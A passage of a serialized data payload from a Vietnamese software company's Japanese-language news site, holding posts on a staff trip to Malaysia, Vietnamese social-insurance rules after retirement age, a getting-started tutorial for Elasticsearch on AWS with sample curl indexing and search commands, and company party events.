02Fuploads\u002F2025\u002F10\u002F07165626\u002Fqtr-ha-lan-1024x573.jpg",[11,7933,7934],{},"マラッカのどの街角にも ひとつひとつの物語が息づいています。",[11,7936,7937],{},"ジョンカーストリートは、マラッカの魂を受け継ぐ場所であり、小さくて可愛いお店が立ち並んでいます。",[530,7939],{"className":7940,"alt":64,"src":7941,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07171057\u002Fz6903131197020_6cfd8e7b49e866080a4beb5c0333a99a-1024x576.jpg",[11,7943,7944],{},"セントポール教会は、ブキ・メラカの丘の頂上に建つ歴史ある建造物です。頂上から眺める景色は本当に素晴らしいです。",[11,7946,7947,7951],{},[530,7948],{"className":7949,"alt":64,"src":7950,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07171305\u002Fz6903229292104_4381ec6cefc5d468f342f950585a702e-1024x576.jpg",[568,7952],{},[530,7954],{"className":7955,"alt":64,"src":7956,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08135519\u002FImage-from-iOS-1024x768.jpg",[11,7958,7959],{},"サンチャゴ砦（エー・ファモーサ）は、ポルトガル植民地時代の名残を今に伝える貴重な史跡です。",[11,7961,7962,7966,7968],{},[530,7963],{"className":7964,"alt":64,"src":7965,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165426\u002F7-1152x1536.png",[568,7967],{},[530,7969],{"className":7970,"alt":64,"src":7971,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165353\u002F6-1152x1536.png",[11,7973,7974],{},[20,7975,7976],{},"2日目・聖なる場所から「眠らない都市」へ",[11,7978,7979],{},"朝から、マレーシアの自然の美しさ、ヒンドゥー文化、そして心に残るスピリチュアルな体験がひとつに集まる神秘的なバトゥ洞窟に行きました。",[11,7981,7982,7986,7988],{},[530,7983],{"className":7984,"alt":64,"src":7985,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165644\u002FUntitled-design-1-953x1024.png",[568,7987],{},[530,7989],{"className":7990,"alt":64,"src":7991,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165727\u002FUntitled-design-1152x1536.png",[11,7993,7994],{},"目の前には、洞窟に入るための色とりどりの272段の階段が広がっています。「登るのはちょっと大変そう…」と感じるかもしれませんが、登った後の素晴らしい景色は見逃せません。",[530,7996],{"className":7997,"alt":64,"src":7998,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165446\u002Fbac-thang-901x1024.png",[11,8000,8001],{},"バトゥ洞窟を離れて「アジアのラスベガス」と呼ばれるゲンティン・ハイランドへ行きました。さあ、このキラキラした景色をご覧ください！",[11,8003,8004,8008],{},[530,8005],{"className":8006,"alt":64,"src":8007,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08131604\u002Fcasino-1-895x1024.png",[568,8009],{},[530,8011],{"className":8012,"alt":64,"src":8013,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08131718\u002Fz6906341971528_88b814cf8c2567babd1d48423e3fb507-1024x846.jpg",[11,8015,8016],{},"ここでは、全員が遊んだり、ショッピングをしたり、有名なゲンティン・カジノでエンターテインメントを満喫したりしました。涼しい空気とにぎやかな雰囲気、そしてきらびやかなイルミネーションが合わさって、まるで「眠らない街」のようです。",[11,8018,8019],{},[20,8020,8021],{},"最終日・心に残る締めくくり",[11,8023,8024],{},"最終日には、帰国前にマレーシアの他の有名な観光地を訪れました。",[11,8026,8027],{},"市内中心部に位置する古い寺院であり、中国文化を映す天后宮です。",[11,8029,8030,8034],{},[530,8031],{"className":8032,"alt":64,"src":8033,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165433\u002F2025-1024x765.jpg",[568,8035],{},[11,8037,8038,8042],{},[530,8039],{"className":8040,"alt":64,"src":8041,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165552\u002Fchua-1152x1536.png",[568,8043],{},[530,8045],{"className":8046,"alt":64,"src":8047,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08131911\u002Fz6908508263025_c6f16d305b51405bb75fff8ca367cc0b-1024x576.jpg",[11,8049,8050],{},"マレーシアを象徴するペトロナスツインタワーを訪れました。誰もがこの有名な背景で写真を撮りたくなる、必見スポットです。",[530,8052],{"className":8053,"alt":64,"src":8054,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165700\u002FUntitled-design-2-1046x2048.png",[11,8056,8057],{},"目の前に広がっている光に満ちたプトラジャヤ広場です。",[11,8059,8060,8064],{},[530,8061],{"className":8062,"alt":64,"src":8063,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165602\u002FIMG_7989-1024x768.jpg",[568,8065],{},[530,8067],{"className":8068,"alt":64,"src":8069,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165359\u002F7-1024x674.jpg",[11,8071,8072],{},"広場の中心からは、周囲の象徴的な建築物を見渡すことができます。",[11,8074,8075],{},"その中で、イスラム建築の緑色ドームを持つ首相官邸のペルダナ・プトラがあります。",[530,8077],{"className":8078,"alt":64,"src":8079,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08132203\u002Fz6909717241921_add6abee44a0c8a2b9b0db3ea26a359b-1024x576.jpg",[11,8081,8082],{},"パステルピンクで塗った目立つプトラモスクです。",[530,8084],{"className":8085,"alt":64,"src":8086,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F07165621\u002FNha-tho-1152x1536.png",[11,8088,8089],{},[20,8090,8091],{},"旅の終わり・心に刻む思い出",[11,8093,8094],{},"笑い声、社員全員の記念写真、車内での賑やかな会話、打ち解けて合う瞬間などが忘れられない思い出となりました。",[11,8096,8097],{},"近いうちにま一緒に旅へ出かける日が来るかもしれません。",{"title":64,"searchDepth":65,"depth":65,"links":8099},[],"2025-10-08","忙しくて疲れた日々の後に、一番早くエネルギーをチャージできる方法は何でしょうか。その答えはもちろん旅行です。 今回、ブリスウェルベトナムは期待に満ちた旅へ出発します！ どんなことが待っているのでしょうか。",{},"\u002Fja\u002Fnews\u002Fdu-lich-cong-ty-nam-2025-kuala-lumpur-malaysia",{"title":7890,"description":8101},"ja\u002Fnews\u002Fdu-lich-cong-ty-nam-2025-kuala-lumpur-malaysia","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F10\u002F08111953\u002FBia-2025-5.png","BkDorL8J3qnw6WNgOB1IbAL8culjYQ6GsLsax4J91QU",{"id":8109,"title":8110,"body":8111,"category":67,"created by":68,"date":8165,"description":8166,"extension":71,"meta":8167,"navigation":73,"path":8168,"sections":75,"seo":8169,"stem":8170,"thumbnail":8171,"__hash__":8172},"content_ja\u002Fja\u002Fnews\u002Fdu-tuoi-huu-nguoi-lao-dong-co-duoc-dong-tiep-bhxh-de-huong-luong-huu-toi-da.md","定年退職の場合における最大年金の享受のための社会保険への引き続き加入の可否",{"type":8,"value":8112,"toc":8163},[8113,8116,8119,8124,8127,8130,8135,8138,8142],[11,8114,8115],{},"これは定年退職になったが、最大年金（賃金の75％）の享受可能な社会保険料納付年数が足りない労働者の疑問です。",[11,8117,8118],{},"この問題について、ベトナム社会保険からこういう返答がありました。",[11,8120,8121],{},[20,8122,8123],{},"1. 在職している労働者の場合",[11,8125,8126],{},"2019年労働法第149条第1項ならびに第148条第1項、および、2014年社会保険法第3条第5項ならびに第2条第4項・第1項第a号第b号、および、失業保険に関する社会保険法の一部条項の施行細則を定めた政府の2015年12月29日付の議定第134\u002F2015\u002FNĐ-CP号第10条ならびに第9条第1項にのっとり、労働者が在職しており、強制加入社会保険の対象（無期労働契約、有期労働契約、3ケ月以上12ヶ月未満期間の季節ないし特定業務労働契約、1ケ月以上3ケ月未満期間の労働契約）の場合においては労働者およびその雇用者は法律上、労働契約期間が満了するまでに社会保険料を納付しなければなりません。",[11,8128,8129],{},"この社会保険料納付年数は徐々に積算されて、年金額の算定基礎となります。",[11,8131,8132],{},[20,8133,8134],{},"2. 退職になった労働者の場合",[11,8136,8137],{},"2014年社会保険法第74条第2項第b号ならびに第73条第1項ならびに第2条第4項にのっとり、労働者は任意加入社会保険へ、1ケ月分、3ケ月分、6ケ月分、12ケ月分、数年分（最大5年分）のいずれかの社会保険料を納付する形で加入することができます。この場合、法的に最大年金（賃金の75％）の享受可能な社会保険料納付年数を達成できるまでの納付年数を積算することができます。",[11,8139,8140],{},[2645,8141,196],{},[31,8143,8144,8150,8156],{},[34,8145,8146],{},[57,8147,5223],{"href":8148,"rel":8149},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FBo-Luat-lao-dong-2019-333670.aspx",[61],[34,8151,8152],{},[57,8153,8155],{"href":2472,"rel":8154},[61],"2014年社会保険法",[34,8157,8158],{},[57,8159,8162],{"href":8160,"rel":8161},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FNghi-dinh-134-2015-ND-CP-huong-dan-Luat-Bao-hiem-xa-hoi-ve-bao-hiem-xa-hoi-tu-nguyen-280020.aspx",[61],"2015年12月29日付の議定第134\u002F2015\u002FNĐ-CP号",{"title":64,"searchDepth":65,"depth":65,"links":8164},[],"2021-07-23","これは定年退職になったが、最大年金（賃金の75％）の享受可能な社会保険料納付年数が足りない労働者の疑問です。この問題について、ベトナム社会保険からこういう返答がありました。",{},"\u002Fja\u002Fnews\u002Fdu-tuoi-huu-nguoi-lao-dong-co-duoc-dong-tiep-bhxh-de-huong-luong-huu-toi-da",{"title":8110,"description":8166},"ja\u002Fnews\u002Fdu-tuoi-huu-nguoi-lao-dong-co-duoc-dong-tiep-bhxh-de-huong-luong-huu-toi-da","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F06\u002F18101047\u002FDuTuoiNghiHuuCoDuocDongTiepBHXH-1-2048x1365.png","72Wogl7zh4huWGYwFoXMZY2rkvD2038ELIYt5-B0hPw",{"id":8174,"title":8175,"body":8176,"category":1388,"created by":68,"date":8545,"description":8546,"extension":71,"meta":8547,"navigation":73,"path":8548,"sections":75,"seo":8549,"stem":8550,"thumbnail":8551,"__hash__":8552},"content_ja\u002Fja\u002Fnews\u002Felasticsearch-tren-aws.md","AWSにおけるElasticsearch",{"type":8,"value":8177,"toc":8532},[8178,8184,8192,8198,8209,8215,8229,8235,8240,8245,8250,8255,8260,8266,8271,8280,8286,8292,8414,8420,8425,8428,8434,8441,8446,8452,8454,8460,8463,8467,8473,8478,8480,8486,8493,8499,8522,8526],[495,8179,8181],{"id":8180},"elasticsearchとは",[20,8182,8183],{},"Elasticsearchとは",[854,8185,8186,8189],{"style":2613},[11,8187,8188],{},"ElasticsearchはオープンソースのRESTful分散検索・分析エンジンであり、Apache Luceneを基盤として構築されています。",[11,8190,8191],{},"2010 年のリリース以来、Elasticsearchはすぐに最も人気のある検索エンジンとなり、ログ分析、フルテキスト検索、セキュリティインテリジェンス、ビジネス分析、およびオペレーショナルインテリジェンスのユースケースに広く使用されています。",[495,8193,8195],{"id":8194},"elasticsearchの仕組み",[20,8196,8197],{},"Elasticsearchの仕組み",[854,8199,8200,8203,8206],{"style":2613},[11,8201,8202],{},"API、あるいはLogstashやAmazon Kinesis Firehoseなどの取り込みツールを使用して、JSONドキュメントの形式でデータをElasticsearchに送信できます。",[11,8204,8205],{},"Elasticsearchは自動的に元のドキュメントを保存し、そのドキュメントへの検索可能な参照をクラスターのインデックスに追加します。その後、Elasticsearch APIを使用してドキュメントの検索と取得ができます。",[11,8207,8208],{},"オープンソースの可視化ツールであるKibanaとElasticsearchを併用してデータを可視化し、インタラクティブなダッシュボードを構築することもできます。",[495,8210,8212],{"id":8211},"elasticsearchの利用は無料",[20,8213,8214],{},"Elasticsearchの利用は無料?",[854,8216,8217,8220,8223,8226],{"style":2613},[11,8218,8219],{},"はい。Elasticsearchは無料のオープンソースのソフトウェアです。",[11,8221,8222],{},"Elasticsearchはオンプレミス、Amazon EC2、またはAmazon Elasticsearch Serviceで実行できます。",[11,8224,8225],{},"オンプレミスまたはAmazon EC2のデプロイでは、Elasticsearchやその他の必要なソフトウェアのインストール、インフラストラクチャのプロビジョニング、およびクラスターの管理はお客様の責任となります。",[11,8227,8228],{},"一方、Amazon Elasticsearch Serviceは完全マネージド型のサービスなので、ハードウェアのプロビジョニング、ソフトウェアのパッチ適用、障害復旧、バックアップ、モニタリングなどの時間のかかるクラスター管理タスクについて心配する必要はありません。",[495,8230,8232],{"id":8231},"elasticsearchの利点",[20,8233,8234],{},"Elasticsearchの利点",[11,8236,8237],{},[20,8238,8239],{},"高性能",[854,8241,8242],{"style":2613},[11,8243,8244],{},"Elasticsearchは分散型であるため、大量のデータを並行して処理し、クエリに最適なものをすばやく見つけることができます。",[11,8246,8247],{},[20,8248,8249],{},"簡単なアプリケーション開発",[854,8251,8252],{"style":2613},[11,8253,8254],{},"Elasticsearchは、Java、Python、PHP、JavaScript、Node.js、Rubyなど、様々な言語をサポートしています。",[11,8256,8257],{},[20,8258,8259],{},"ほぼリアルタイムのオペレーション",[854,8261,8262,8263],{"style":2613},"\nデータの読み書きなどのElasticsearchオペレーションは、通常、完了までに 1 秒もかかりません。\n",[11,8264,8265],{},"これにより、アプリケーションのモニタリングや異常検出など、ほぼリアルタイムのユースケースにElasticsearchを使用することができます。",[11,8267,8268],{},[20,8269,8270],{},"無料ツールとプラグイン",[854,8272,8273,8274,8277],{"style":2613},"\nElasticsearchは、一般的な可視化およびレポート作成ツールであるKibanaと統合されています。\n",[11,8275,8276],{},"また、ソースデータを簡単に変換してElasticsearchクラスターにロードすることを可能にしつつ、BeatsとLogstashとの統合も提供します。",[11,8278,8279],{},"言語アナライザや言語サジェスタなど、オープンソースのElasticsearchプラグインをいくつか使用して、アプリケーションに豊富な機能を追加することもできます。",[495,8281,8283],{"id":8282},"awsでのelasticsearchの開始方法",[20,8284,8285],{},"AWSでのElasticsearchの開始方法",[660,8287,8289],{"id":8288},"ステップ１amazon-elasticsearch-service-amazon-esドメインの作成",[20,8290,8291],{},"ステップ１：Amazon Elasticsearch Service (Amazon ES) ドメインの作成",[854,8293,8294,8305,8315,8321,8331,8343,8346,8363,8368,8377,8387,8397,8402,8407],{"style":2613},[11,8295,8296,8297,602,8302,1997],{},"1. ",[57,8298,8301],{"href":8299,"rel":8300},"https:\u002F\u002Faws.amazon.com%E3%81%B8%E3%82%A2%E3%82%AF%E3%82%BB%E3%82%B9%E3%81%97%E3%80%81",[61],"https:\u002F\u002Faws.amazon.comへアクセスし、",[20,8303,8304],{},"Sign In to the Console",[11,8306,8307,8308,8311,8312,1997],{},"2. ",[20,8309,8310],{},"Analytics","の下に",[20,8313,8314],{},"Elasticsearch Service",[11,8316,8317,8318,1997],{},"3. ",[20,8319,8320],{},"Create a new domain",[11,8322,8323,8324,8327,8328,1997],{},"4. ",[20,8325,8326],{},"Deployment type","で",[20,8329,8330],{},"Development and testing",[11,8332,8333,8334,8327,8337,6764,8340,8342],{},"5. ",[20,8335,8336],{},"Elasticsearch version",[20,8338,8339],{},"latest version",[20,8341,1136],{},"を押下します。",[11,8344,8345],{},"6. ドメイン名を入力します。",[11,8347,8348,8349,8352,8353,8327,8356,6764,8359,8362],{},"7. ",[20,8350,8351],{},"Data nodes","の下に、",[20,8354,8355],{},"instance type",[20,8357,8358],{},"t3.small.elasticsearch",[20,8360,8361],{},"Number of nodes","でデフォルト値のままにします。",[11,8364,8365,8366,8342],{},"8. 他の設定を飛ばして",[20,8367,1136],{},[11,8369,8370,8371,8327,8374,1997],{},"9. ",[20,8372,8373],{},"Network configuration",[20,8375,8376],{},"Public access",[11,8378,8379,8380,8327,8383,8386],{},"10. ",[20,8381,8382],{},"Fine-grained access control",[20,8384,8385],{},"Enable fine-grained access control","を外します。",[11,8388,8389,8390,8327,8393,8396],{},"11. ",[20,8391,8392],{},"Domain access policy",[20,8394,8395],{},"Custom access policy","を選択し、ドメインへアクセスできるようなIPアドレス若しくはIAM ARNを入力します。",[11,8398,8399,8400,8342],{},"12. 他の設定を飛ばして",[20,8401,1136],{},[11,8403,8404,8405,8342],{},"13. 他のタグを飛ばして",[20,8406,1136],{},[11,8408,8409,8410,8413],{},"14. 設定したドメイン構成を確認した上",[20,8411,8412],{},"Confirm","を押下します 。なお、普通、新たなドメインの初期化は構成によって15分～30分かかる場合があります。",[660,8415,8417],{"id":8416},"ステップ２データのamazon-esへのアップロード",[20,8418,8419],{},"ステップ２：データのAmazon ESへのアップロード",[11,8421,8422],{},[20,8423,8424],{},"ケース１：単一のドキュメントをアップロードする場合、以下の通りになります。",[11,8426,8427],{},"以下のようにコマンドラインを利用します。",[696,8429,8432],{"className":8430,"code":8431,"language":701},[699],"curl -XPUT 'domain-endpoint\u002Fusers\u002F_doc\u002F1' -d '{\"id\": 1, \"userName\": \"Nguyen Van A\", \"email\": \"test@gmail.com\"}' -H 'Content-Type: application\u002Fjson'\n",[703,8433,8431],{"__ignoreMap":64},[11,8435,8436,8437],{},"以下のようにPostmanを利用します。 ",[530,8438],{"className":8439,"alt":64,"src":8440,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F31160012\u002Fes-insert-1-1024x546.png",[11,8442,8443],{},[20,8444,8445],{},"ケース２：複数のドキュメントをjsonファイルでアップロードする場合、以下のような情報でusers.jsonファイルを作成しておく必要があります。",[696,8447,8450],{"className":8448,"code":8449,"language":701},[699],"{ \"index\" : { \"_index\": \"users\", \"_id\" : \"2\" } }\n\n{\"id\": 2, \"userName\": \"Nguyen Van B\", \"email\": \"test+1@gmail.com\"}\n        \n{ \"index\" : { \"_index\": \"users\", \"_id\" : \"3\" } }\n        \n{\"id\": 3, \"userName\": \"Nguyen Van C\", \"email\": \"test+2@gmail.com\"}\n",[703,8451,8449],{"__ignoreMap":64},[11,8453,8427],{},[696,8455,8458],{"className":8456,"code":8457,"language":701},[699],"curl -XPOST 'domain-endpoint\u002F_bulk' --data-binary @users.json -H 'Content-Type: application\u002Fjson'\n",[703,8459,8457],{"__ignoreMap":64},[11,8461,8462],{},"以下のようにPostmanを利用します。",[530,8464],{"className":8465,"alt":64,"src":8466,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F31160451\u002Fes-insert-2-1024x649.png",[660,8468,8470],{"id":8469},"ステップ３amazon-esでのドキュメントの検索",[20,8471,8472],{},"ステップ３：Amazon ESでのドキュメントの検索",[11,8474,8475],{},[20,8476,8477],{},"usersドメインでデータをgmail.comキーワードで検索するため、以下の通りになります。",[11,8479,8427],{},[696,8481,8484],{"className":8482,"code":8483,"language":701},[699],"curl -XGET 'domain-endpoint\u002Fusers\u002F_search?q=gmail.com&pretty=true'\n",[703,8485,8483],{"__ignoreMap":64},[11,8487,8488,8489],{},"以下のようにPostmanを利用します。\n",[530,8490],{"className":8491,"alt":64,"src":8492,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F31160727\u002Fes-search-1024x650.png",[660,8494,8496],{"id":8495},"ステップ４amazon-esドメインの削除",[20,8497,8498],{},"ステップ４：Amazon ESドメインの削除",[854,8500,8501,8507,8513],{"style":2613},[11,8502,8296,8503,8506],{},[20,8504,8505],{},"Amazon Elasticsearch Service","へログインします。",[11,8508,8307,8509,8512],{},[20,8510,8511],{},"My domains","の下に、削除対象のドメインを選択します。",[11,8514,8317,8515,8518,8519,1997],{},[20,8516,8517],{},"Actions"," を選択し、",[20,8520,8521],{},"Delete domain",[495,8523,8524],{"id":5084},[20,8525,196],{},[11,8527,8528],{},[57,8529,8530],{"href":8530,"rel":8531},"https:\u002F\u002Fdocs.aws.amazon.com\u002Felasticsearch-service\u002Flatest\u002Fdeveloperguide\u002Fes-gsg.html",[61],{"title":64,"searchDepth":65,"depth":65,"links":8533},[8534,8535,8536,8537,8538,8544],{"id":8180,"depth":65,"text":8183},{"id":8194,"depth":65,"text":8197},{"id":8211,"depth":65,"text":8214},{"id":8231,"depth":65,"text":8234},{"id":8282,"depth":65,"text":8285,"children":8539},[8540,8541,8542,8543],{"id":8288,"depth":1375,"text":8291},{"id":8416,"depth":1375,"text":8419},{"id":8469,"depth":1375,"text":8472},{"id":8495,"depth":1375,"text":8498},{"id":5084,"depth":65,"text":196},"2021-06-23","Elasticsearchとは ElasticsearchはオープンソースのRESTful分散検索・分析エンジンであり、Apache Luceneを基盤として構築されています。2010 年のリリース以来、Elasticsearchはすぐに最も人気のある検索エンジンとなり、ログ分析、フルテキスト検索、セキュリティインテリジェンス、ビジネス分析、およびオペレーショナルインテリジェンスのユースケースに広く使用されています。",{},"\u002Fja\u002Fnews\u002Felasticsearch-tren-aws",{"title":8175,"description":8546},"ja\u002Fnews\u002Felasticsearch-tren-aws","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002FElasticSearchIcon.jpg","8Z1xd38oYk1c-9XiggSSKpEGf4YfrM8UOOlmRpTWVt0",{"id":8554,"title":8555,"body":8556,"category":2844,"created by":68,"date":8593,"description":8594,"extension":71,"meta":8595,"navigation":73,"path":8596,"sections":75,"seo":8597,"stem":8598,"thumbnail":8599,"__hash__":8600},"content_ja\u002Fja\u002Fnews\u002Fevent-party-in-03-2021.md","2021年3月パーティーイベント",{"type":8,"value":8557,"toc":8591},[8558,8561,8564,8569,8573,8577,8581,8584,8588],[11,8559,8560],{},"旧正月の後, 皆さんは仕事に戻ってきました。",[11,8562,8563],{},"私たちは小さなパーティを開きました。食事を楽しみながら旧正月休みでの出来事や、長期休暇の後の仕事のことなどをお互いに話していました。",[530,8565],{"className":8566,"alt":64,"src":8568,"style":536},[533,534,8567],"mb-2","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100042\u002FIMG_1681-2048x1536.jpg",[530,8570],{"className":8571,"alt":64,"src":8572,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100049\u002FIMG_1676-2048x1536.jpg",[530,8574],{"className":8575,"alt":64,"src":8576,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100057\u002FIMG_1674-1024x768.jpg",[530,8578],{"className":8579,"alt":64,"src":8580,"style":536},[533,534,8567],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100008\u002FIMG_1677-1024x1021.jpg",[11,8582,8583],{},"イベントはともに長い1日を一緒に働いた後に、一緒に過ごし楽しみを与えてくれます。",[530,8585],{"className":8586,"alt":64,"src":8587,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100025\u002FIMG_1684-1024x768.jpg",[11,8589,8590],{},"Briswell Vietnamがますます成功し、発展しますように。",{"title":64,"searchDepth":65,"depth":65,"links":8592},[],"2021-04-02","旧正月の後, 皆さんは仕事に戻ってきました。私たちは小さなパーティを開きました。食事を楽しみながら旧正月休みでの出来事や、長期休暇の後の仕事のことなどをお互いに話していました。",{},"\u002Fja\u002Fnews\u002Fevent-party-in-03-2021",{"title":8555,"description":8594},"ja\u002Fnews\u002Fevent-party-in-03-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F03\u002F22100105\u002FFeatured-picture.png","M1bp1D1YpdBFY4RtAil2wDa337LnPIY2isJl_o7V6X4",{"id":8602,"title":8603,"body":8604,"category":2844,"created by":8679,"date":8680,"description":8610,"extension":71,"meta":8681,"navigation":73,"path":8682,"sections":75,"seo":8683,"stem":8684,"thumbnail":8685,"__hash__":8686},"content_ja\u002Fja\u002Fnews\u002Fevent-party-thang-03-2023.md","2023年3月のパーティーイベント",{"type":8,"value":8605,"toc":8677},[8606,8614,8617,8621,8624,8628,8631,8639,8643,8648,8656,8660,8665,8673],[31,8607,8608,8611],{},[34,8609,8610],{},"長いテト休みが終わったばかり、また2023年3月のパーティーイベントが戻ってきました。ベトナムブリスウェルチームのメンバーはまた一緒にミニゲームをしたり、おいしい料理を食べたりする時間ができました。そして、今回皆はブックブック（Buk Buk）という韓国風のストリートバーベキュー食べ放題レストランで新しい料理を初めて楽しむ機会もありました。",[34,8612,8613],{},"お絵かき伝言ゲーム、ピラミッド建ちながらスパイを調べるなどのチームビルディングゲームも一緒に楽しみました。これらのゲームで勝つにはチームメンバーの協力、信じあいや気が利くことを求めています。そして、当然に素晴らしいパフォーマンスのあるチームは該当なプレゼントをもらえます。",[11,8615,8616],{},"こちらは勝ちチームのプレゼントです。",[530,8618],{"className":8619,"alt":64,"src":8620,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F10152536\u002F20230321_150953-2048x1536.jpg",[11,8622,8623],{},"こちらはプレーヤたちがお絵描き伝言ゲームで描いた絵です。",[530,8625],{"className":8626,"alt":64,"src":8627,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F10171751\u002F20230321_151850-2048x1068.jpg",[11,8629,8630],{},"こちらはプレーヤたちが建てたピラミッドです。",[11,8632,8633,8637],{},[530,8634],{"className":8635,"alt":64,"src":8636,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F10172437\u002F20230321_160140-1152x1536.jpeg",[568,8638],{},[530,8640],{"className":8641,"alt":64,"src":8642,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F10173327\u002F20230321_160157-scaled-1152x1536.jpeg",[31,8644,8645],{},[34,8646,8647],{},"そろそろ終業時間になり、道にバイクや車などで混みになって、夕方の涼しい空気になるときはブリスウェルメンバーたちが焼き肉のにおいや炭の煙の中に直接付き合って、おしゃべりあうのに最適な時点です。",[11,8649,8650,8654],{},[530,8651],{"className":8652,"alt":64,"src":8653,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F11085658\u002FIMG_0986-1024x819.jpg",[568,8655],{},[530,8657],{"className":8658,"alt":64,"src":8659,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F11085650\u002FIMG_0985-1024x793.jpg",[31,8661,8662],{},[34,8663,8664],{},"皆さんはおいしい料理を楽しみながら話し合って笑顔になっている写真です。楽しくて、意味のあるイベントでした。ブリスウェルチームの皆、これからも一緒に仕事に頑張って、このようなイベントをたくさん楽しんでいきましょう。",[11,8666,8667,8671],{},[530,8668],{"className":8669,"alt":64,"src":8670,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F11085712\u002FIMG_0988